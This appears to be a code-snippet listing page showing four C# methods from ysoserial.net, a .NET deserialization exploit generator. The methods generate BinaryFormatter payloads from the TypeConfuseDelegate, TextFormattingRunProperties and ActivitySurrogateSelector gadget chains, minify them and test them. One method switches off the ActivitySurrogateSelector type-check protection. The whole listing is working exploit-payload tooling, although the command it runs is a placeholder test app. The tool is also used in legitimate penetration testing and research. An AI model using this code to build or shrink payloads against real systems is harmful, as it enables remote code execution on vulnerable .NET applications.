コード例 #1
0
        public static MemoryStream MinimiseBFAndRun(Stream binaryFormatted, InputArgs inInputArgs, bool isErrOk, bool showInfo)
        {
            string json_result = MinimiseJsonAndRun(AdvancedBinaryFormatterParser.StreamToJson(binaryFormatted), inInputArgs, isErrOk, showInfo);

            MemoryStream result = AdvancedBinaryFormatterParser.JsonToStream(json_result);

            if (showInfo)
            {
                Console.WriteLine("Size reduced from " + binaryFormatted.Length + " to " + result.Length);
            }

            result.Position = 0;

            return(result);
        }
コード例 #2
0
        // this has been used as an example to minify the TypeConfuseDelegateGenerator payload!
        private void MinimiseTCDJsonAndRun()
        {
            string myApp = "TestConsoleApp_YSONET";

            sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, false, false, true, null);
            bool isErrOk = false;

            TypeConfuseDelegateGenerator tcdg = new TypeConfuseDelegateGenerator();

            byte[] tcd_bf_byte = (byte[])tcdg.GenerateWithNoTest("binaryformatter", sampleInputArgs);
            string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true);

            byte[] result = BinaryFormatterMinifier.MinimiseBFAndRun(tcd_bf_byte, sampleInputArgs, isErrOk, true);

            Console.WriteLine(Encoding.UTF8.GetString(result));
            Console.ReadLine();
        }
コード例 #3
0
        private void TextFormatterMinifying()
        {
            string myApp = "TestConsoleApp_YSONET";

            sampleInputArgs = new InputArgs(myApp + " /foo bar", true, false, true, true, true, null);
            bool isErrOk = false;

            TextFormattingRunPropertiesGenerator generator = new TextFormattingRunPropertiesGenerator();

            byte[] tcd_bf_byte = (byte[])generator.GenerateWithNoTest("binaryformatter", sampleInputArgs);
            Console.WriteLine("Init size: " + tcd_bf_byte.Length);
            string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(tcd_bf_byte), false, true, true);

            string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true);

            Console.WriteLine(result);
            MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result);

            Console.WriteLine("Final size: " + ms.Length);
            Console.ReadLine();
        }
コード例 #4
0
        private void ActivitySurrogateSelector()
        {
            string myApp = "TestConsoleApp_YSONET";

            sampleInputArgs = new InputArgs(myApp + " /foo bar", true, true, true, true, true, null);
            bool isErrOk = false;

            PayloadClass myPayloadClass = new PayloadClass(1, sampleInputArgs);

            List <object> ls = myPayloadClass.GadgetChains();

            //*
            // Disable ActivitySurrogate type protections during generation
            ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

            //Serialize(myPayloadClass, "BinaryFormatter", sampleInputArgs);
            MemoryStream lsMs = new MemoryStream();

            System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
            fmt.SurrogateSelector = new MySurrogateSelector();
            fmt.Serialize(lsMs, ls);
            //lsMs.Position = 0;
            //fmt.Deserialize(lsMs);

            byte[] bf_byte = lsMs.ToArray();
            Console.WriteLine("Init size: " + bf_byte.Length);
            string json_string = AdvancedBinaryFormatterParser.StreamToJson(new MemoryStream(bf_byte), false, true, true);

            //MemoryStream msCanIt = AdvancedBinaryFormatterParser.JsonToStream(json_string);
            //msCanIt.Position = 0;
            //fmt.Deserialize(msCanIt);

            string result = BinaryFormatterMinifier.MinimiseJsonAndRun(json_string, sampleInputArgs, isErrOk, true);

            Console.WriteLine(result);
            MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(result);

            Console.WriteLine("Final size: " + ms.Length);
            Console.ReadLine();
        }